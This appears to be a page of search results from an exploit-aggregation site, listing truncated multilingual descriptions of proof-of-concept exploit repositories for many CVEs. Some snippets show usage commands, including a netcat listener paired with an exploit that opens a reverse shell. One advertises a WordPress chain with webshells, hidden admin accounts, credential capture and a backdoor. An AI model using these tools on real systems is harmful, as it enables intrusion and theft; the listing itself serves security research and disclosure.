271583 matches found
CVE-2025-30406
CVE-2025-30406 Эксплойт PoC для ViewState Обзор Этот скрипт Proof-of-Concept PoC демонстрирует эксплуатацию десериализации ViewState для CVE-2025-30406 в ASP.NET приложениях. Он использует ysoserial для генерации вредоносной полезной нагрузки ViewState и отправляет её на указанный URL для...
CVE-2021-3129_exploit
CVE-2021-3129exploit Эксплойт для CVE-2021-3129 Настройка лаборатории: root@kitploit: $ git clone https://github.com/laravel/laravel.git $ cd laravel $ git checkout e849812 $ composer install $ composer require facade/ignition==2.5.1 $ php artisan serve Использование: root@kitploit: $ git clone...
CVE-2026-6433
CVE-2026-6433 — 개념 증명 FlipperCode — 커스텀 CSS, JS 및 PHP · 인증되지 않은 SQL 인젝션 → RCE eval을 통해 영향 받는 버전: FlipperCode 커스텀 CSS, JS 및 PHP ≤ 2.0.7 · WordPress 플러그인의 공격 표면 admin-ajax.php를 통해 한눈에 보기...
CVE-2024-9264
CVE-2024-9264 Grafana 인증 후 DuckDB SQL 인젝션 RCE, 파일 읽기 개념 증명 PoC 이 PoC는 CVE-2024-9264의 악용을 시연하며, 인증된 사용자가 DuckDB SQL 쿼리를 수행하여 파일시스템의 임의 파일을 읽거나 원격으로 임의 코드를 실행할 수 있음을 보여줍니다. 임의 코드 실행은 Grafana v11.0.0에서만 가능합니다. 파일 읽기는 모든 취약한 버전에서 가능합니다. 설정: 다음을 통해 필요한 종속성을 설치합니다: root@kitploit: pip install -r...
CVE-2023-38831-WinRAR-Vulnerability-Analysis
CVE-2023-38831-WinRAR-Vulnerability-Analysis このプロジェクトは、CVE-2023-38831（特別に細工されたアーカイブファイルを介して攻撃者が悪意のあるコードを実行できる、重大なWinRAR脆弱性）に焦点を当てたサイバーセキュリティ研究・分析プロジェクトです。このプロジェクトは、教育および防御セキュリティ目的でのみ管理されたラボ環境で実施されました。 目的 脆弱性の理解 アーカイブベースの攻撃を分析する セキュリティリスクと軽減方法を研究する サイバーセキュリティ文書化作業を実践する 使用ツール WinRAR Windows OS 仮想マシ...
CVE-2025-21298
Содержание Это доказательство концепции для CVE-2025-21298 - Уязвимость удаленного выполнения кода в Windows OLE CVSS 9.8. Это доказательство концепции повреждения памяти , а не эксплойт. Полный дифф патча через ghidriff: ССЫЛКА уязвимость Уязвимость находится в ole32.dll!UtOlePresStmToContentsSt...
CVE-2023-3519
Citrix ADC RCE CVE-2023-3519 Этот эксплойт использует адреса и шеллкод для Citrix VPX 13.1-48.47. Полное описание доступно по ссылке здесь. Использование Для сборки шеллкода требуется NASM. root@kitploit: $ sudo apt install nasm Включенный шеллкод загружает и запускает shell-скрипт с удаленного...
CVE-2025-60787_PoC
CVE-2025-60787 - MotionEye RCE MotionEye = 0.43.1b4에서 imagefilename 필드의 클라이언트 측 검증 우회를 통한 인증 RCE. 사용법 root@kitploit: nc -lvnp 4444 python exploit.py -t http://127.0.0.1:8765 -p password -lh IP -lp 4444 플래그...
CVE-2025-57833
CVE-2025-57833: Django SQL 인젝션 취약점 이 저장소는 Django ORM의 치명적인 SQL 인젝션 취약점인 CVE-2025-57833을 시연하고 설명합니다. 해당 취약점은 4.24.2.24 미만, 5.15.1.12 미만, 5.25.2.6 미만 버전에 영향을 미칩니다. 🚨 취약점 개요 CVSS 점수 : 9.8 치명적 영향 : 원격 코드 실행RCE으로 이어질 수 있는 SQL 인젝션 인증 필요 여부 : 없음 비인증 공격 📚 배경 이해하기 Django ORM이란? Django ORMObject-Relational...
CVE-2019-17147
CVE-2019-17147: TP-Link TL-WR841N 익스플로잇 개요 이 저장소는 TP-Link TL-WR841N 라우터MIPSEL 아키텍처의 치명적인 원격 코드 실행RCE 취약점인 CVE-2019-17147 에 대한 포괄적인 리버스 엔지니어링 및 익스플로잇을 문서화합니다. 이 취약점은 httpd 웹 서버 데몬에 존재하며, 부적절한 입력 검증으로 인해 사용자 정의 cstrstrncpy 함수를 통한 스택 버퍼 오버플로우 가 발생하고, 인증 없이 임의 코드 실행으로 이어집니다. 취약점| CVE-2019-17147 ---|-...
CVE-2026-33017
CVE-2026-33017 - Неаутентифицированное удаленное выполнение кода в Langflow ⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ: Этот репозиторий предназначен только для авторизованного тестирования безопасности и образовательных целей. Используйте только на системах, которыми вы владеете или на тестирование которых...
Hoverfly-1.11.3-RCE-CVE-2025-54123-Exploit
CVE-2025-54123 — Удаленное выполнение кода через Middleware API в Hoverfly Аутентифицированное RCE через внедрение команд ОС в Hoverfly ≤ 1.11.3 Обзор уязвимости...
CVE-2025-59528-PoC
CVE-2025-59528 PoC Flowise CustomMCP RCE 경로를 POST /api/v1/node-load-method/customMCP를 통해 트리거하는 Python PoC 스크립트입니다. ⚠️ 교육 및 공인된 보안 연구 목적으로만 사용하세요. 소유하지 않았거나 테스트를 위한 서면 허가가 없는 시스템에 이 도구를 실행하는 것은 불법입니다. 크레딧 im-soohyun Kim SooHyun 세부 정보 CVE-2025-59528에 대한 PoC 영향받는 버전: Flowise 3.0.5 패치 버전: Flowise 3.0....
CVE-2021-27876
CVE-2021-27876 Veritas Backup Exec Agent용 인증되지 않은 RCE 익스플로잇 CVE-2021-27876/77/78 — NDMP를 통한 SHA 인증 우회로 SYSTEM 권한 획득 CVE 목록 CVE| 설명| CVSS 3.1 ---|---|--- CVE-2021-27876| NDMP 프로토콜의 SHA 해시 조작을 통한 인증 우회| 9.8 Critical CVE-2021-27877| NDMP를 통한 인증되지 않은 임의 파일 읽기| 9.8 Critical CVE-2021-27878|...
CVE-2026-54420
CVE-2026-54420 LiteSpeed cPanel ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하십시오: 로컬 가상 머신 Docker 컨테이너 격리된 실험실 설정 승인된 침투 테스트 환경 예제 설정: root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environment macOS / Linux source...
CVE-2024-37054
CVE-2024-37054 — MLflow pyfunc 역직렬화 RCE 심각도: Critical 영향 대상: MLflow 0.9.0 – 2.14.1 유형: Python pickle 역직렬화를 통한 임의 코드 실행 설명 mlflow.pyfunc.loadmodel은 아티팩트 저장소에서 pythonmodel.pkl을 아무런 검증 없이 역직렬화합니다. MLflow 아티팩트 REST API에 접근할 수 있는 공격자는 해당 파일을 악성 pickle로 덮어쓸 수 있으며, 모델이 다음에 로드될 때 임의의 OS 명령이 실행됩니다. 요구 사항...
CVE-2025-43300
📚 CVE-2025-43300 - 취약점 상세 분석 🎯 요약 CVE-2025-43300은 DNGDigital Negative 파일 처리 과정에서 TIFF 메타데이터와 JPEG 데이터 간의 불일치 로 인해 발생하는 버퍼 오버플로 취약점으로, 원격 코드 실행RCE이 가능합니다. 🔍 1. DNG 파일 구조 계층 구조: root@kitploit: DNG File ├── TIFF Container metadados │ ├── Header │ ├── IFD Image File Directory │ │ ├── Tag 277:...
CVE-2026-38165-SSTI-
CVE-2026-38165 SSTI Velocity Серверная инъекция шаблонов SSTI в XDocReport позволяет удалённое выполнение кода через Apache Velocity Определение уязвимости Обзор уязвимости Серверная инъекция шаблонов SSTI — это уязвимость веб-безопасности, позволяющая злоумышленнику внедрить вредоносный код в...
XSS2Shell
XSS2Shell ULTIMATE v3.0 WordPress 사전 인증Pre-Auth XSS → RCE 체인 익스플로잇 개발자: G0D150NE 📌 기능 🔍 XSS 및 WordPress 버전 자동 감지 🎯 3가지 모드: 자동Auto, XSS, 직접Direct 📡 자격 증명을 캡처하는 콜백 서버 🐚 다양한 실행 방식을 지원하는 웹셸 🔄 지속성 유지 cron 작업, 숨은 관리자, 자가 복제 📁 파일 업로드/다운로드 🖥️ 원클릭 리버스 셸 🛡️ 스텔스 모드 플러그인 목록에서 숨김 🔐 AES-256 암호화 백도어 📦 설치...